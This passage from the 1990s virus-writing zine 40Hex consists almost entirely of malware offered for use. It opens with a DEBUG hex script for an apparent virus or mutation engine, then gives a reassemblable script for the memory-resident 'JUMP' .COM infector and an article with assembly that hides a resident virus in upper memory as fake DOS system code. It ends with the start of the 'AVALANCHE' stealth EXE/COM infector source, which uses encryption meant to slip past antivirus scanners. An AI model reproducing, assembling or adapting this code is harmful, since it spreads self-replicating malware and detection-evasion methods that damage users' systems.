E 0670  FE 72 3C E8 81 FE 93 B8 0A C0 0A E2 E8 1E FE 72
E 0680  2E E8 8B FE AB EB A0 E8 13 FE 72 23 52 B8 80 C8
E 0690  0A 06 A5 00 0A E2 AB 33 D2 E8 2E FD 8B DA 5A E8
E 06A0  85 FF 93 80 3E A5 00 00 74 04 AB EB 02 90 AA C3
E 06B0  0A 0C 0A 80 C8 BE 20 03 EB 80 22 24 22 80 E0 BE
E 06C0  2A 03 EB F4 32 34 32 80 F0 BE 34 03 EB EA 84 A8
E 06D0  84 F6 C0 BE 3E 03 C6 06 0F 01 00 E8 5C FF C6 06
E 06E0  0F 01 04 C3 3A 3C 3A 80 F8 BE 54 03 EB E8 02 04
E 06F0  02 80 C0 BE 5E 03 EB D4 2A 2C 2A 80 E8 BE 68 03
E 0700  EB CA 12 14 12 80 D0 BE 72 03 F6 06 A1 00 01 75
E 0710  BB C3 1A 1C 1A 80 D8 BE 82 03 EB EE 01 B7 03 01
E 0720  A5 03 FF AD A3 8C 02 AD A3 AB 03 AC A2 C2 03 BE
E 0730  8C 03 E9 01 FD E8 65 FD 72 D7 B8 FE C0 0A 06 A5
E 0740  00 0A E2 AB E9 C3 FE C6 06 A5 00 01 E8 4E FD 72
E 0750  C0 B0 40 0A C2 AA E9 B1 FE FE C0 FE C0 40 BE C9
E 0760  03 EB C0 FE C8 FE C8 48 BE D3 03 EB B6 F6 D8 F6
E 0770  D8 BE DD 03 57 E8 12 00 58 3B F8 76 05 80 0E A1
E 0780  00 01 C3 F6 D0 F6 D0 BE F3 03 C7 06 A0 03 8F 03
E 0790  E8 90 FF C7 06 A0 03 8C 03 C3 01 17 04 01 3F 04
E 07A0  FF BE 0A 04 E9 8F FC E8 F3 FC 72 ED E8 48 FD 93
E 07B0  B8 86 C0 0A E2 8B EA E8 E3 FC 3B EA 74 DB 55 E8
E 07C0  4D FD AB E8 31 FD 93 E8 13 FD 5A 93 E9 0E FD C6
E 07D0  06 A5 00 01 E8 C6 FC 72 C0 80 3E 7D 00 03 75 B9
E 07E0  E8 14 FD 93 B0 90 0A C2 52 33 D2 AA EB D5 B0 D0
E 07F0  F6 06 81 00 01 74 0E BA 02 00 E8 CD FB D0 E2 0A
E 0800  C2 8A 0E 82 00 A3 8C 02 E8 92 FC 72 27 80 26 A1
E 0810  00 FE E9 28 FF B4 E0 EB D5 B4 E8 EB D1 B4 F8 EB
E 0820  CD B4 C0 EB C9 B4 C8 EB C5 B4 D0 F6 06 A1 00 01
E 0830  74 02 EB BA C3 B4 D8 EB F2 0F C5 04 03 EC 04 01
E 0840  07 05 FF 83 3E 0F 00 00 74 EA BE A9 04 C6 06 A5
E 0850  00 01 E9 E1 FB E8 2D FC B0 50 0A C2 AA E8 FB FB
E 0860  AC 91 E8 92 FC 83 2E 0F 00 03 83 2E 8E 00 02 8B
E 0870  36 0F 00 88 8C 00 00 89 84 01 00 C3 BA 20 00 E8
E 0880  48 FB 92 0C 06 24 FE AA 32 C9 3C 06 75 D7 A1 9E
E 0890  00 8A 0E 9D 00 EB CE B0 9C EB EC 0F 24 05 02 4F
E 08A0  05 01 5D 05 03 69 05 FF 83 3E 0F 00 0F 74 85 BE
E 08B0  0B 05 EB 99 E8 CE FB B0 58 0A C2 AA E8 09 00 E8
E 08C0  99 FB 88 0C E8 16 FC C3 8B 36 0F 00 8A 8C 00 00
E 08D0  8B 84 01 00 83 06 0F 00 03 83 06 8E 00 02 C3 B0
E 08E0  07 AA E8 E3 FF 88 0E 9D 00 A3 9E 00 C3 F6 06 A0
E 08F0  00 01 75 F8 B0 1F AA EB CF F6 06 A0 00 01 75 EC
E 0900  B8 0E 1F AB 80 0E A0 00 01 C3 50 51 52 8B CA E3
E 0910  09 33 D2 E8 B4 FA 92 AA E2 F7 5A 59 58 C3 E8 A9
E 0920  FA 03 F2 AC C3 77 73 72 76 74 7F 7D 7C 7E EB 75
E 0930  71 7B 79 70 7A 78 E3 E2 E1 E0 18 BD 05 05 F7 05
E 0940  01 10 06 03 1F 06 FF BE AA 05 E9 E9 FA F6 06 A1
E 0950  00 01 74 32 BE 95 05 BA 11 00 E8 C1 FF AA A2 DB
E 0960  05 8B 0E 82 00 8B 2E A2 00 55 9D EB 09 33 D2 E8
E 0970  58 FA 92 AA EB 0C BA 14 00 E8 4E FA 8A C2 AA E8
E 0980  88 FF 89 0E 82 00 C3 80 3E 81 00 03 75 F8 BE A6
E 0990  05 BA 02 00 F6 06 A1 00 01 74 BF BA 04 00 EB BA
E 09A0  B0 E9 AA BA 14 00 E8 21 FA 8B C2 AB E9 5B FF F6
E 09B0  06 7E 11 04 74 D0 B0 E8 AA A1 DC 10 48 48 2B C7
E 09C0  AB C3 FB FA FD FC BE 32 06 BA 04 00 E8 4F FF AA
E 09D0  C3 04 54 06 04 61 06 04 6E 06 01 7B 06 FF BE 41
E 09E0  06 E9 52 FA 8B 2E 96 00 B4 84 80 3E 95 00 03 74
E 09F0  1E 8B 2E 9A 00 B4 85 80 3E 99 00 03 74 11 8B 2E
E 0A00  8A 00 B4 87 80 3E 89 00 03 74 04 33 ED B4 06 C3
E 0A10  F6 06 A0 00 01 75 04 C6 05 2E 47 C3 E8 79 FA 72
E 0A20  3F 50 E8 D2 FA 0A C0 58 74 36 E8 E6 FA 0A 06 A5
E 0A30  00 E8 DC FF AB 8B 36 E2 10 89 04 E8 B9 FA 89 44
E 0A40  04 BA 21 00 2A 16 A5 00 E8 7F F9 89 54 02 83 06
E 0A50  E2 10 06 A1 DE 10 03 C2 2B C5 AB 80 26 A1 00 FE
E 0A60  C3 06 08 08 02 02 00 F7 06 00 FB 06 00 FF 06 00
E 0A70  03 07 00 25 07 FF 81 3E E2 10 7A 11 73 E2 E8 5D
E 0A80  FF BE D6 06 E9 AF F9 B0 30 EB 91 B0 00 EB 8D B0
E 0A90  28 EB 89 B0 D0 BA 04 00 E8 2F F9 0B D2 74 10 F6
E 0AA0  06 81 00 01 74 09 80 3E 82 00 00 74 02 0C 02 BA
E 0AB0  01 00 E9 78 FF 80 CC 08 EB D9 05 3A 07 01 68 07
E 0AC0  FF E8 1A FF BE 2A 07 E9 6C F9 E8 B8 F9 B0 8A E8
E 0AD0  3D FA 52 E8 3A FF AB 8B D7 81 EA 82 11 E8 EA F8
E 0AE0  A1 7A 11 03 C2 2B C5 AB 92 5A E8 6E F9 08 2C BE
E 0AF0  81 11 03 F0 AD E9 E5 F9 E8 9D F9 72 17 B0 88 E8
E 0B00  0D FA E8 0B FF AB BA 0E 00 E8 BE F8 A1 7C 11 03
E 0B10  C2 2B C5 AB C3 0D B7 05 20 E6 06 11 31 07 46 F5
E 0B20  01 01 36 06 10 B3 04 10 18 05 04 85 04 04 89 04
E 0B30  02 8D 04 02 91 04 02 95 04 02 99 04 02 A5 04 07
E 0B40  25 03 07 2F 03 04 39 03 04 43 03 09 63 03 09 6D
E 0B50  03 02 77 03 02 87 03 04 59 03 04 CE 03 04 D8 03
E 0B60  04 11 04 02 E1 03 02 F7 03 FF FC B9 0A 00 BF 7D
E 0B70  00 33 C0 AA 83 C7 03 E2 FA 93 A0 7E 11 24 01 A2
E 0B80  A0 00 B0 04 F6 06 7E 11 02 74 02 0C 03 08 06 8D
E 0B90  00 C7 06 0F 00 0F 00 C7 06 E2 10 E4 10 B9 05 00
E 0BA0  BE D1 06 BF D6 06 AC 98 92 E8 1E F8 92 03 D8 AA
E 0BB0  47 47 E2 F2 0B DB 74 E5 BF 81 11 B8 FF FF 50 F6
E 0BC0  06 7E 11 04 74 1E 58 BA 63 00 E8 FD F7 42 52 52
E 0BD0  E8 F7 F7 E8 34 FD 89 3E DC 10 B0 C3 AA 58 2B C2
E 0BE0  92 E8 26 FD 8B C7 2D 81 11 03 06 7A 11 A3 7F 11
E 0BF0  BA 0C 01 58 2B D0 E8 D1 F7 03 D0 81 C2 90 01 89
E 0C00  16 E0 10 81 06 E0 10 81 11 03 16 7A 11 89 16 DE
E 0C10  10 C7 06 9E 08 85 07 C6 06 A5 08 00 57 BA 03 00
E 0C20  E8 A7 F7 0A D2 74 02 B2 01 88 16 A5 00 BE 85 07
E 0C30  E8 03 F8 58 EB 00 57 83 C7 16 3B 3E E0 10 5F 72
E 0C40  DB C7 06 9E 08 8E 07 C6 06 A5 08 18 EB CE 3B 3E
E 0C50  E0 10 72 C8 97 75 C5 97 8B DF B8 B7 0F 2B C7 A3
E 0C60  38 09 BE 21 09 B9 21 00 F3 A4 8B 36 E2 10 81 FE
E 0C70  E4 10 76 3C 83 EE 06 8A 04 8A D0 80 E2 FC 80 FA
E 0C80  00 75 02 0C 28 80 FA 28 75 02 24 03 B4 8F 81 24
E 0C90  FC 38 81 3C D0 08 75 03 80 E4 C7 A3 1A 09 8B 54
E 0CA0  02 89 16 1C 09 8B 4C 04 EB 00 31 8F 34 12 EB BE
E 0CB0  C3 FB 0E 1F BE 34 12 B8 34 12 B9 1D 08 31 04 EB
E 0CC0  09 05 34 12 46 E2 F6 E9 00 00 05 34 12 46 31 04
E 0CD0  EB EF B9 3A 10 33 D2 E8 16 00 B4 40 8B 1E 74 10
E 0CE0  9C 9A 00 00 00 00 72 02 3B C1 9C E8 02 00 9D C3
E 0CF0  51 8B F2 B8 34 12 B9 1D 08 31 04 05 34 12 46 31
E 0D00  04 05 34 12 46 E2 F2 59 C3 B0 03 CF 52 1E 0E 1F
E 0D10  B8 24 35 E8 65 00 8C 06 90 10 89 1E 8E 10 B8 24
E 0D20  25 BA 71 10 E8 54 00 1F 5A C3 B8 24 25 2E C5 16
E 0D30  8E 10 E8 46 00 C3 52 26 8B 47 02 40 33 D2 2E F7
E 0D40  36 2B 00 26 8B 07 24 1F 3A C2 F9 74 09 26 8B 07
E 0D50  25 E0 FF 0A C2 F8 5A C3 B4 40 EB 02 B4 3F E8 15
E 0D60  00 72 02 3B C1 C3 33 C9 8B D1 B8 00 42 EB 07 33
E 0D70  C9 8B D1 B8 02 42 2E 8B 1E 74 10 9C FA 2E FF 1E
E 0D80  4A 10 C3 B8 00 57 E8 ED FF BB 92 10 89 0F 89 57
E 0D90  02 E8 A2 FF 73 01 C3 33 D2 E8 2E F6 89 16 28 09
E 0DA0  89 16 5C 10 33 D2 E8 21 F6 89 16 3B 09 89 16 64
E 0DB0  10 33 D2 E8 14 F6 89 16 32 09 89 16 6A 10 E8 A5
E 0DC0  FF B9 18 00 BA 76 10 E8 92 FF 72 CA 8B F2 BF 11
E 0DD0  00 F3 A4 52 E8 98 FF A3 96 10 89 16 98 10 8B F0
E 0DE0  8B FA 5B 81 3F 5A 4D 74 18 81 3F 4D 5A 74 12 C6
E 0DF0  06 23 00 00 3D 79 EC 77 9D C7 06 1B 00 00 00 EB
E 0E00  2B C6 06 23 00 01 8B 47 04 F7 26 2D 00 2B C6 1B
E 0E10  D7 72 B7 8B C6 8B D7 05 06 13 83 D2 00 F7 36 2D
E 0E20  00 0B D2 74 01 40 89 47 04 89 57 02 83 E6 F0 83
E 0E30  C6 10 83 D7 00 8B D6 8B CF 53 E8 2D FF 5B 80 3E
E 0E40  23 00 00 75 17 C6 07 E9 05 00 01 A3 7C 11 05 3A
E 0E50  10 A3 7A 11 C6 06 7E 11 01 90 EB 51 8B 47 08 F7
E 0E60  26 29 00 2B F0 1B FA 8B C6 8B D7 F7 36 29 00 89
E 0E70  47 16 A3 11 00 8B 47 0E F7 26 29 00 8B 4F 10 03
E 0E80  C1 83 D2 00 2B C6 1B D7 72 0D 2D 80 00 83 DA 00
E 0E90  72 5A 81 47 0E 30 01 C7 06 7A 11 3A 10 C7 06 7C
E 0EA0  11 00 00 89 0E 8E 00 C6 06 7E 11 02 90 A1 7C 11
E 0EB0  A3 25 09 A3 8A 0E BA 06 00 E8 0E F5 0B D2 74 05
E 0EC0  80 0E 7E 11 04 E8 A2 FC E8 FF 04 72 1F A1 7F 11
E 0ED0  80 3E 23 00 00 75 08 2D 03 01 A3 77 10 EB 03 A3
E 0EE0  8A 10 8B CF BA 81 11 2B CA E8 6C FE 72 2B E8 75
E 0EF0  FE B9 18 00 BA 76 10 E8 5E FE 72 1D 81 06 96 10
E 0F00  06 13 83 16 98 10 00 BA 19 00 E8 BD F4 0B D2 74
E 0F10  08 BB 92 10 E8 1F FE 89 07 8B 16 96 10 8B 0E 98
E 0F20  10 E8 46 FE 33 C9 E8 2F FE B8 01 57 8B 0E 92 10
E 0F30  8B 16 94 10 E8 3F FE C3 26 81 2F 06 13 26 83 5F
E 0F40  02 00 73 0A 26 81 07 06 13 26 83 57 02 00 C3 03
E 0F50  43 4F 4D 03 45 58 45 04 53 43 41 4E 07 56 53 48
E 0F60  49 45 4C 44 05 43 4C 45 41 4E 08 46 49 4E 44 56
E 0F70  49 52 55 05 47 55 41 52 44 08 56 49 56 45 52 49
E 0F80  46 59 02 54 42 02 2D 56 07 56 49 52 53 54 4F 50
E 0F90  03 4E 4F 44 04 48 49 45 57 05 50 41 53 43 41 07
E 0FA0  4E 45 54 45 4E 56 49 06 46 2D 50 52 4F 54 06 43
E 0FB0  48 4B 44 53 4B 53 51 56 57 1E 06 50 8B F2 8B DE
E 0FC0  33 FF B9 40 00 AC 3C 5C 74 08 3C 2F 74 04 3C 3A
E 0FD0  75 02 8B DE 3C 2E 75 02 8B FE 0A C0 74 04 E2 E5
E 0FE0  EB 45 3B FB 76 41 8B F7 BF BF 0B 0E 07 E8 3A 00
E 0FF0  74 05 E8 35 00 75 30 B1 0F 8B F3 BF C7 0B 51 E8
E 1000  28 00 59 74 0B E2 F7 F8 58 07 1F 5F 5E 59 5B C3
E 1010  83 F9 02 77 0D 58 50 80 FC 4B 75 06 2E C6 06 0A
E 1020  0D 6C 83 F9 01 74 E0 F9 EB DE 56 26 8A 0D 47 8B
E 1030  C7 03 C1 50 AC 3C 61 72 06 3C 7A 77 02 2C 20 AE
E 1040  E1 F2 5F 5E C3 50 53 51 56 57 55 1E 06 E8 75 01
E 1050  E8 B9 FC B8 00 43 E8 22 FD 2E 89 0E F7 0C B8 01
E 1060  43 33 C9 E8 15 FD 72 24 B8 02 3D E8 0D FD 72 13
E 1070  52 1E 0E 1F 0E 07 A3 74 10 E8 07 FD B4 3E E8 F5
E 1080  FC 1F 5A B8 01 43 B9 00 00 E8 EF FC E8 9B FC 07
E 1090  1F 5D 5F 5E 59 5B 58 C3 FB EB 00 80 FC 11 74 05
E 10A0  80 FC 12 75 2C 53 06 50 B4 2F E8 CE FC 58 E8 CA
E 10B0  FC 3C FF 74 19 50 26 80 3F FF 75 03 83 C3 07 83
E 10C0  C3 17 E8 71 FC 58 73 06 83 C3 06 E8 6A FE 07 5B
E 10D0  CF 80 FC 4E 74 05 80 FC 4F 75 2C 53 06 50 B4 2F
E 10E0  E8 98 FC 58 E8 94 FC 72 11 50 83 C3 16 E8 46 FC
E 10F0  58 73 06 83 C3 04 E8 3F FE F8 07 5B 50 55 8B EC
E 1100  9F 88 66 08 5D 58 CF 80 FC 31 74 0B 80 FC 4C 75
E 1110  09 2E C6 06 0A 0D 00 E8 AB 00 FC 52 3D 00 4B 74
E 1120  47 3D 00 6C 75 07 F6 C2 12 8B D6 75 45 80 FC 3C
E 1130  74 40 80 FC 5B 74 3B 80 FC 3E 75 25 2E 3B 1E 9A
E 1140  10 75 1E 0B DB 74 1A 2E C7 06 9A 10 00 00 E8 2A
E 1150  FC 72 0B 1E 0E 1F BA 9C 10 E8 E9 FE 1F F8 5A EB
E 1160  9B 5A FA 2E FF 2E 4A 10 E8 4A FE 72 F4 E8 D5 FE
E 1170  EB EF 2E 83 3E 9A 10 00 75 E7 E8 38 FE 72 E2 2E
E 1180  89 16 FA 0D 5A 52 E8 F2 FB BA 00 00 72 D0 51 56
E 1190  57 06 8B F2 BF 9A 10 0E 07 AB B9 40 00 F3 A4 07
E 11A0  5F 5E 59 EB B8 54 42 4D 45 4D 58 58 58 54 42 43
E 11B0  48 4B 58 58 58 54 42 44 53 4B 58 58 58 54 42 46
E 11C0  49 4C 58 58 58 50 52 1E B4 FF 32 DB CD 13 B4 FE
E 11D0  CD 13 B8 02 FA BA 45 59 B3 31 CD 16 0E 1F B4 52
E 11E0  CD 21 26 C4 5F 22 BE 0D 0E B9 04 00 51 83 C6 08
E 11F0  8D 7F 0A B9 04 00 56 F3 A7 5E 59 E0 EF 75 06 26
E 1200  80 0E 16 00 01 26 C4 1F 83 FB FF 75 D9 1F 5A 58
E 1210  C3 43 4F 4D 4D 41 4E 44 00 B8 00 00 B1 04 D3 E8
E 1220  8C CA 03 C2 50 B8 9A 0E 50 CB FC 0E 1F B8 0F 00
E 1230  2B 06 0F 00 49 F6 F1 D1 E0 03 E0 B1 19 A1 F5 0F
E 1240  F6 F1 0A E4 75 1D B4 2A CD 21 80 FA 07 75 14 B4
E 1250  09 BA F7 0F CD 21 BA CC 03 EC 24 FD B2 C2 EE B4
E 1260  4C CD 21 E8 5F FF B4 62 CD 21 53 33 C0 8E D8 8E
E 1270  1E FE 04 81 3E 81 0E 43 4F 74 3D 93 48 8E D8 03
E 1280  06 03 00 2D 44 01 8C CA 81 C2 04 01 3B C2 72 1B
E 1290  8C CA 2E 03 16 1B 00 3B C2 72 10 8C D2 8B F4 46
E 12A0  B1 04 D3 EE 46 03 D6 3B C2 73 24 B4 48 BB FF FF
E 12B0  CD 21 81 FB 45 01 73 03 E9 9A 00 B4 48 CD 21 48
E 12C0  8E D8 C7 06 01 00 00 00 03 06 03 00 2D 44 01 8A
E 12D0  16 00 00 C6 06 00 00 4D 81 2E 03 00 45 01 A3 12
E 12E0  00 8E D8 88 16 00 00 40 A3 01 00 C7 06 03 00 44
E 12F0  01 1E 07 0E 1F FF 06 F5 0F BE 81 0E BF 08 00 A5
E 1300  A5 A5 A5 8E C0 33 F6 8B FE B9 3A 10 F3 A4 BE 42
E 1310  09 B9 3A 00 F3 A4 33 C0 26 A3 9A 10 8E D8 A1 6C
E 1320  04 26 A3 43 00 A1 6E 04 26 A3 40 00 C6 06 FB 04
E 1330  EA C7 06 FC 04 08 0D 8C 06 FE 04 FA A1 84 00 26
E 1340  A3 4A 10 A1 86 00 26 A3 4C 10 C7 06 84 00 FB 04
E 1350  8C 1E 86 00 FB 5B 0E 1F 8E C3 BE 11 00 80 7C 12
E 1360  00 75 0D BF 00 01 89 7C 14 89 5C 16 A4 A5 EB 0C
E 1370  8C C8 2B 04 01 44 16 03 44 0E 8E D0 8E DB 33 C0
E 1380  2E FF 2E 25 00 E2 04 0D 0A 57 65 6C 63 6F 6D 65
E 1390  20 74 6F 20 74 68 65 20 45 78 70 6C 6F 73 69 6F
E 13A0  6E 27 73 20 4D 75 74 61 74 69 6F 6E 20 4D 61 63
E 13B0  68 69 6E 65 20 21 0D 0A 44 69 73 20 69 73 20 6C
E 13C0  65 76 65 6C 20 33 2E 0D 0A 24 B9 3A 10 33 D2 E8
E 13D0  16 00 B4 40 8B 1E 74 10 9C 9A 00 00 00 00 72 02
E 13E0  3B C1 9C E8 02 00 9D C3 51 8B F2 B8 34 12 B9 1D
E 13F0  08 31 04 05 34 12 46 31 04 05 34 12 46 E2 F2 59
E 1400  C3 B0 03 CF
R CX
1304
W
Q
40Hex Number 14 Volume 5 Issue 1                                      File 011

The following is a DEBUG script for my old JUMP virus, written sometime
in the summer of '94 or so I think.  I had gotten bored as hell, and couldn't
think of much that hadn't been done with viruses, so I came up with this
thing.... anyway, I didn't make it the typical  "e 100 xx xx" type debug 
script, 'cause I wanted people to be able to see how it got its name.  
It can be reassembled the same as any debug script, just debug <jump.scr.
Aside from its most obvious trait, it is a memory resident appending .com 
infector.

                                        -Stormbringer

------------------------- cut here for jump.scr ------------------------
a 100
jmp     near 0104                               
jmp     5D00:00E8                          
jmp     010B                               
jmp     0107:ED81                          
jmp     0112                               
jmp     DB33:4AB4                          
jmp     0119                               
jmp     9021:CD4B                          
jmp     0120                               
jmp     9031:EB83                          
jmp     0127                               
jmp     21CD:4AB4                          
jmp     012E                               
jmp     9000:30BB                          
jmp     0135                               
jmp     21CD:48B4                          
jmp     013C                               
jmp     9000:102D                          
jmp     0143                               
jmp     9090:C08E                          
jmp     014A                               
jmp     9000:F0BF                          
jmp     0151                               
jmp     90AA:5AB0                          
jmp     0158                               
jmp     ABC0:8C90                          
jmp     015F                               
jmp     0601:00BF                          
jmp     0166                               
jmp     0100:B68D                          
jmp     016D                               
jmp     5001:83B8                          
jmp     0174                               
jmp     9001:D2B9                          
jmp     017B                               
jmp     90CB:A4F2                          
jmp     0383                               
jmp     071F:061E                          
jmp     018A                               
jmp     9001:00BF                          
jmp     0191                               
jmp     A501:E3BE                          
jmp     0198                               
jmp     90C0:33A4                          
jmp     019F                               
jmp     90FA:D88E                          
jmp     01A6                               
jmp     9001:F5B8                          
jmp     01AD                               
jmp     0084:0687                          
jmp     01B4                               
jmp     02D2:A32E                          
jmp     01BB                               
jmp     9090:C88C                          
jmp     01C2                               
jmp     0086:0687                          
jmp     01C9                               
jmp     02D4:A32E                          
jmp     01D0                               
jmp     1F06:06FB                          
jmp     01D7                               
jmp     5701:00BF                          
jmp     01DE                               
jmp     0000:E9CB                          
jmp     0020:CD90                          
jmp     504D:554A                          
jmp     4442                               
jmp     5D53:505B                          
jmp     904B:003D                          
jz      01FE                               
jmp     02D1                               
jmp     0201                               
jmp     5251:5350                          
jmp     0208                               
jmp     5756:061E                          
jmp     020F                               
jmp     3D02:B890                          
jmp     0216                               
jmp     0373:21CD                          
jmp     02C6                               
jmp     0220                               
jmp     01E3:BA93                          
jmp     0227                               
jmp     0003:B90E                          
jmp     022E                               
jmp     903F:B41F                          
jmp     0235                               
jmp     9090:21CD                          
jmp     023C                               
jmp     01E3:3E80                          
jmp     7EB7                               
jmp     0246                               
jmp     9001:E3BE                          
jmp     024D                               
jmp     904D:3C80                          
jz      02BF                               
jmp     0256                               
jmp     9042:02B8                          
jmp     025D                               
jmp     D233:C933                          
jmp     0264                               
jmp     9090:21CD                          
jmp     026B                               
jmp     9000:032D                          
jmp     0272                               
jmp     9001:E0A3                          
jmp     0279                               
jmp     9090:40B4                          
jmp     0280                               
jmp     FB01:00BA                          
jmp     0287                               
jmp     9001:D2B9                          
jmp     028E                               
jmp     C933:21CD                          
jmp     0295                               
jmp     9042:00B8                          
jmp     029C                               
jmp     21CD:D233                          
jmp     02A3                               
jmp     FBFA:40B4                          
jmp     02AA                               
jmp     9001:DFBA                          
jmp     02B1                               
jmp     0003:B990                          
jmp     02B8                               
jmp     9090:21CD                          
jmp     02BF                               
jmp     21CD:3EB4                          
jmp     02C6                               
jmp     1F07:5E5F                          
jmp     02CD                               
jmp     585B:595A                          
jmp     0000:0000                          

rcx
1d6
rbx
0
n jump.com
w 100
q


------------------------- end of jump.scr ---------------------------

40Hex Number 14 Volume 5 Issue 1                                      File 012

        UMB Residency
        By Dark Angel, Phalcon/Skism '95

One day, while fiddling with loading programs into MSDOS UMB's, I realised
that there are very few viruses that used UMB's. This is surprising, given
the prevalence of UMB's and the ease with which DOS viruses may hide their
presence through the use of UMB's.

The UMB's, or upper memory blocks, consist of the memory above 640K and below
1MB (segments A000 to FFFF). This region was reserved early on for BIOS and
peripherals, notably video memory. There is normally plenty of unused space in
this region, so enterprising programmers found a simple way to incorporate the
memory into DOS's memory allocation scheme. They simply extended the MCB chain
into that region, with MCB's indicating already allocated memory covering the
memory used for other purposes by the machine. In this way, more memory,
albeit fragmented, was usable for loading programs. The UMB's are especially
handy for storing TSR's, since they have smaller memory constraints than most
programs. The programmers at Microsoft, realising the utility of UMB's,
decided to incorporate UMB's into DOS beginning at version 5, so now there is
a standardised method of handling upper memory.

The MCB's handling upper memory are slightly more complex than regular MCB's.
The format of a UMB control block is:

Offset  Size  Description
  00    BYTE  'Z' if last MCB in chain, 'M' otherwise
  01    WORD  PSP segment of owner (8 if MSDOS, 0 if free)
  03    WORD  size of memory block in paragraphs
  05  3 BYTES unused
  08  8 BYTES program name in ASCII or
              "SC" if system code or
              "SD" if system data

The method is pretty simple to understand and very easy to implement. In
DOS 5+, the first UMB can be located through a pointer in the disk buffer
information structure which, in turn, may be located through the DOS master
list structure. This UMB is usually located at 9FFF:0000, but there is no need
for this to be the case. It's simply the most convenient location for it. The
only difference between modifying regular MCB's and UMB's is the extra field
at offset 8 which may be used to mark the block as DOS system code. By marking
this with DOS's usual fields to indicate unusuable memory such as video memory
and ROM, we effectively hide the virus from detection by utilities such as
MEM. Since it doesn't reside in conventional memory (below 640K), there is no
decrease in memory a la 40:13 BIOS manipulating memory residency techniques.

The sample code below, written for a simple COM infector, illustrates the
technique.

start:          xor     di,di

                mov     ax,3306                 ; get true DOS version
                int     21
                inc     al                      ; DOS 4-?
                jz      no_UMBs                 ; if so, we don't have UMB's

                mov     ah,52                   ; get DOS master list
                int     21                      ; structure

                lds     si,es:[bx+12]           ; get ptr to disk buffer info

                mov     ax,ds:[si+1f]           ; get address of the first UMB
                inc     ax                      ; (FFFF if no UMBs present)
                jz      no_UMBs
                dec     ax                      ; undo damage from above
search_chain:   mov     ds,ax                   ; go to the MCB
                cmp     word ptr [di+1],di      ; unused?
                jnz     search_next
                cmp     word ptr [di+3],reslength_P ; MCB large enough to
                ja      handle_MCB              ; hold us and our MCB?
search_next:    cmp     byte ptr [di],'Z'       ; end of chain?
                jz      no_UMBs
                mov     bx,[di+3]               ; go to the next MCB
                inc     ax                      ; 40Hex
                add     ax,bx
                jmp     search_chain

no_UMBs:        mov     ax,cs
                dec     ax                      ; get the MCB for current
                mov     ds,ax                   ; program
                cmp     word ptr [di+3],reslength_P + 1000 ; large enough for
                jna     fail_init               ; program and virus and its
                                                ; MCB?
                jmp     short handle_MCB

                db      0,'(DA/PS)',0

handle_MCB:     sub     word ptr [di+3],reslength_P + 1 ; adjust size of memory
                                                ; area for virus + its MCB
                mov     bx,[di+3]               ; get size of new memory area
                mov     cl,'M'                  ; make sure this MCB doesn't
                xchg    cl,byte ptr [di]        ; mark the end of the chain
                inc     ax
                add     ax,bx                   ; go to virus segment's MCB
                mov     ds,ax
                mov     es,ax

                mov     byte ptr [di],cl        ; patch end of chain indicator
                mov     word ptr [di+1],8       ; mark MCB owned by DOS
                mov     word ptr [di+3],reslength_P ; patch in virus size

                inc     ax                      ; ds->virus segment
                mov     ds,ax

                or      di,8                    ; go to program name field
                mov     ax,'CS'                 ; make virus invisible to MEM
                stosw                           ; by pretending it is
                xor     ax,ax                   ; DOS system code
                stosw
                stosw
                stosw
40Hex Number 14 Volume 5 Issue 1                                      File 013

;****************************************************************************
;*                 Resident stealth infector 'AVALANCHE'                    *
;*                  written by Metal Junkie in 1994/95                      *
;****************************************************************************

; 100% memory stealth
; Int 21h Tunneling
; Retro functions
; EXE/COM - Infection
; and many other features. Enjoy it!

; Disclaimer: Warning! This source contains destructive code. Do not compile
; it! The author is not responsible for any damage caused by this code.
; And last but not least, greetings to Neurobasher,Stormbringer, the guys
; of VLAD (hi qark) and the Unforgiven Metal Militia.

code segment para 'code'
.8086
org 100h

assume cs:code, ds:code, es:code, ss:code   ;

;======== Initializing routines and decryption =============================

; test options:

EXEPERMIS  equ 1                        ; infect EXE Files
COMPERMIS  equ 1                        ; infect COM files
STEALTH    equ 1                        ; include stealth functions
RETRO      equ 1                        ; anti scan

start:               ; SS ist always equal CS !

.386
kenn:
	mov	ecx,(offset (virende-vircode+1))  ; Adios F-Prot !
kenn1:	mov	bx,(266+offset vircode)
	jmp	patch
        db      0eah                              ; Adios TBAV !
entschl:  xor	byte ptr cs:[bx],0
	inc	bx
patch:	loop	entschl

.8086

; ------ Start of encrypted body ----

vircode: call   getip            ; Only to fool simple scanners looking
getip:   pop    ax               ; for the classic pop bp
         mov    bp,ax
	 sub	bp,(100h+(getip-start));
patch5:  jmp	short conti
	 db	81h
conti:	 jmp	lab1

;--- Constants ---------------------------------------------------------

sprbef   equ    3               ; 3 Bytes for a JUMP
monat    equ    01h             ; Date of activation
itsme    equ    "sh"            ; Signature

DOS_N    equ    21h             ; normal DOS Function 21


db " AVALANCHE/Germany '94...Metal Junkie greets Neurobasher"

;--- EXE-Header-Lokationen ---

cs_pos   equ  16h               ; Position of Codesegment in EXE Header
ss_pos	 equ  0eh
ip_pos   equ  14h               ; IP
ovl_no	 equ  1Ah
hdl_pos  equ  08h               ; Size of Header
sp_pos   equ  10h               ; SP
min_par  equ  0ah               ; Min. amount of memory
div512   equ  04h               ; Filelength  DIV 512
mod512   equ  02h               ;             MOD 512
segtab   equ  06h               ;
chksum   equ  12h               ;

;--- Variables ----

cs_merk  dw (0)
ds_merk  dw (0)                  ; store the original regs here
es_merk  dw (0)
sp_merk  dw 0fffeh
ss_merk  dw (0)

min_mem  dw 4096

ip_merk  dw 0100h                ; pointer to first instruction of host
wirt     dw (?)                  ; this is a far jump to the host
combytes db 0C3h,0h,01h          ; buffer for host bytes (COM)
com_vek  db 0e9h,0,0             ; jump vector (COM)
;---

org_filelng_lo  dw (?)           ; original length of host
org_filelng_hi	dw (?)
mem_strat   dw (?)               ; buffer for allocation strategy
umb_strat   db (?)
comflag     db 1                 ; 1=host is a COM-file
generation  dw 0

;------- check activation circumstances ------------------------------------

lab1:   cli
        mov     [bp+ds_merk],ds   ; store original segments here

        cld
        push    cs                ; setup registers
	pop	ds

        mov     ax,4bf0h           ; Are we resident in memory ?
        xor     di,di
	int	DOS_N
        cmp     di,itsme
        jne     lab32
        jmp      restore_com      ; Yes, we are -> exit

lab32:  mov     ah,30h            ; Dos-Version ?
	int	DOS_N
	cmp	al,5
	jae	lab4
        jmp     restore_com       ; exit when < 5.0

lab4:   mov     ah,04h            ; enable virus [Monat] 1994
	int	1ah
	jc	lab5
        cmp     cx,1996h
	jae	lab5
	cmp	dh,monat
	jae	lab5
	jmp	restore_com

